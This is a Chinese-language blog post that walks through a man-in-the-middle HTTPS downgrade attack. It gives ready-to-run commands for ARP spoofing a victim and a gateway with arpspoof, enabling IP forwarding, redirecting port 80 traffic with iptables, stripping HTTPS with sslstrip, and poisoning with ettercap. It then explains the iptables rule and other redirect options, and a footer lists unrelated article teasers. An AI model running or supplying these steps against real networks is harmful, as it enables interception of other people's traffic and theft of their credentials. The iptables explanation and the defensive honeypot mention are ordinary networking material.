中间人攻击(https降级攻击)和iptables命令分析

ops/2024/10/30 14:45:11/

中间人攻击

以下是一个简单的中间人攻击示例,结合 ARP 欺骗和流量修改:

1. 进行 ARP 欺骗

首先,使用 arpspoof 进行 ARP 欺骗,将受害者的流量重定向到攻击者的机器上:

sudo arpspoof -i eth0 -t 172.29.144.50 172.29.144.1
2. 启用 IP 转发

确保 IP 转发已启用,以便攻击者可以将流量转发到真正的目标(如网关):

echo "net.ipv4.ip_forward = 1" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
3. 使用 iptables 进行流量重定向

使用 iptables 将流量重定向到攻击者的机器上,并进行修改:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4. 使用 sslstrip 进行 HTTPS 降级攻击

sslstrip 是一个工具,可以将 HTTPS 流量降级为 HTTP 流量,从而捕获和修改敏感信息:

sudo sslstrip -l 8080
5. 使用 ettercap 进行更复杂的中间人攻击

ettercap 是一个功能更强大的工具,可以进行 ARP 欺骗、DNS 欺骗、流量捕获和修改等:

sudo ettercap -T -q -i eth0 -M arp:remote /172.29.144.1// /172.29.144.50//

  iptables 是 Linux 上用于配置防火墙的工具,允许用户设置许多规则来过滤和转发网络流量。你提到的命令用于配置流量重定向,下面是对该命令的详细解释:

iptables 命令分析

命令如下:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
各部分解释
  1. sudo:

    • 以超级用户(root)权限运行命令,因为配置 iptables 需要管理员权限。
  2. iptables:

    • 调用 iptables 工具来设置防火墙规则。
  3. -t nat:

    • 指定使用 NAT(网络地址转换)表。NAT 表用于处理 IP 地址映射和修改,主要用于路由和流量重定向。
  4. -A PREROUTING:

    • -A 表示"追加"一条规则。PREROUTING 链在数据包到达路由决策之前进行处理的地方。这意味着在数据包被路由到具体的网络接口或主机之前,系统会检查这条链中的规则。
  5. -p tcp:

    • 指定协议类型为 TCP。这意味着此规则仅适用于 TCP 流量。
  6. --destination-port 80:

    • 指定目标端口为 80,即 HTTP 流量通常使用的端口。此规则将匹配所有目的端口为 80 的 TCP 流量。
  7. -j REDIRECT:

    • -j 是“跳转”的意思,指定当流量匹配上述条件时的后续操作。REDIRECT 表示将匹配到的数据包重定向到本机的某个端口,而不是发往原始目标。
  8. --to-port 8080:

    • 指定重定向的目标端口为 8080。这表示所有到达 80 端口的流量会被重定向到本机的 8080 端口。

功能与应用

该命令用于将流量从一个端口重定向到另一个端口的功能。在这个具体的示例中,它的作用如下:

  • 重定向 HTTP 流量:当有 TCP 流量到达本机的 80 端口(例如,浏览器发起的 HTTP 请求),这条命令会将请求重定向到本机的 8080 端口。
  • 实现中间人攻击:在进行 ARP 欺骗的情况下,攻击者可以通过重定向将 HTTP 流量转发到他们控制的服务,从而拦截、修改或者分析请求和响应。这对于降级攻击(例如将 HTTPS 降级为 HTTP)特别有用。

例子

        假设你在运行一个简单的 HTTP 代理服务器或 Web 服务器,正在监听 8080 端口。如果攻击者成功执行了 ARP 欺骗,同时使用了这个 iptables 规则,当用户尝试访问某个网站(例如, http://example.com),请求将以 HTTP 的形式到达 80 端口,然后被重定向到本机的 8080 端口。

        在使用 iptables 进行流量重定向时,你不仅可以将流量从端口 80 重定向到本机的 8080 端口,还可以将其重定向到任何其他有效的网络地址和端口组合。以下是其他重定向目标示例:

  1. 重定向到另一个本地端口
    你可以将流量重定向到本机上的任何其他监听端口。例如,如果你有一个服务在端口 8888 上运行,你可以使用以下命令将流量从端口 80 重定向到端口 8888:

    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888
    
  2. 重定向到另一台机器
    如果你想将流量重定向到网络中的另一台机器,你可以使用 DNAT(目标网络地址转换)规则。例如,如果你想将所有到达端口 80 的流量重定向到 IP 地址 192.168.1.100 的端口 8080,你可以使用以下命令:

    sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080
    

    请注意,为了使这种重定向工作,你的机器需要能够路由到目标 IP 地址,并且目标机器需要在指定的端口上监听。

  3. 重定向到多个目标
    虽然单条 iptables 规则不能直接将流量分散到多个目标,但你可以通过配置多个规则或使用负载均衡软件来实现这一点。例如,你可以创建两个规则,每个规则将一部分流量重定向到不同的端口或机器。

  4. 基于条件的重定向
    你还可以根据更复杂的条件来重定向流量,例如源 IP 地址、目的 IP 地址范围、时间等。这需要使用更高级的 iptables 规则集和匹配条件。

  5. 重定向到 VPN 或代理服务器
    如果你运行一个 VPN 服务或代理服务器,你可以将流量重定向到这些服务,以便对流量进行进一步的加密、解密或路由。

  6. 重定向到蜜罐系统
    在网络安全领域,蜜罐(Honeypot)是一种故意设置为诱饵的系统,用于吸引和捕获攻击者的活动。你可以将可疑的流量重定向到蜜罐系统以进行分析和监控。


http://www.ppmy.cn/ops/129605.html

相关文章

Python世界:自动化办公Word之批量替换文本生成副本

Python世界:自动化办公Word之批量替换文本生成副本 任务背景编码思路代码实现相关参考 任务背景 为提高办公效率,用python试手了一个word任务,要求如下: 给你一个基础word文档A,格式为docx,名字为&#xf…

LeetCode HOT100系列题解之课程表(9/100)

一、题目 课程表. - 力扣(LeetCode) 二、题目解析 想要学习课程Bi,那么就要学习课程Ai,一个前后关系,比较好表示前后关系的就是建图。如果在学A课之前要学B课,学B课之前又要学A课,那么…

python--pyQt 单选按钮控件 -QRadioButton

控件用来创建单选按钮,允许在一组选项中选择其中一个选项。 用法 text() 获取按钮文本 setText() 设置按钮文本 setCheckable() 设置按钮被选中,设置为True则选中,设置为False则取消选中 isChecked() 获取按钮是否被选中,选中返回…

51单片机快速入门之 串行通信 2024/10/21

51单片机快速入门之 串行通信 并行通信: 好处:传输快 适合短距离通信弊端:占用大量io 接线形式为8对8 串行通信 异步通信: 数据一帧一帧传送,传输完一帧之后,可继续或者等待(等待时为高电平) 其帧细分为(图片来源) 起始位:数据帧开始,一定为 0 外部设备只有接受到 0 之后…

力扣-最小覆盖子串

76. 最小覆盖子串 - 力扣(LeetCode) 给定一个字符串s,和目标字符串t,需要找出s中包含t中所有字符且长度最小子串,输出这个子串 滑动窗口,初始时左右指针都指向s的第一个字符,对于每个遍历到的窗口,判断当…

结合无监督表示学习与伪标签监督的自蒸馏方法,用于稀有疾病影像表型分类的分散感知失衡校正|文献速递-基于生成模型的数据增强与疾病监测应用

Title 题目 Hybrid unsupervised representation learning and pseudo-label supervisedself-distillation for rare disease imaging phenotype classification with dispersion-aware imbalance correction 结合无监督表示学习与伪标签监督的自蒸馏方法,用于稀…

UML外卖系统报告(包含具体需求分析)

1 系统背景 随着互联网技术的快速发展,外卖订餐服务逐渐成为人们生活中的一部分。传统的电话订餐方式面临诸多不便和限制,而基于互联网的外卖订餐系统则提供了更加便捷、快速和高效的订餐服务。这种系统通过将餐厅、顾客和配送人员连接起来,…

SpringBoot 下的Excel文件损坏与内容乱码问题

序言 随着打包部署的方式的改变,原本正常运行的代码可能带来一些新的问题,比如我们现在使用SpringBoot 的方式生成Jar包直接运行,就会对我们再在Resource下的Excel文件产生影响,导入与预期不符的情况发生cuiyaonan2000163.com 比…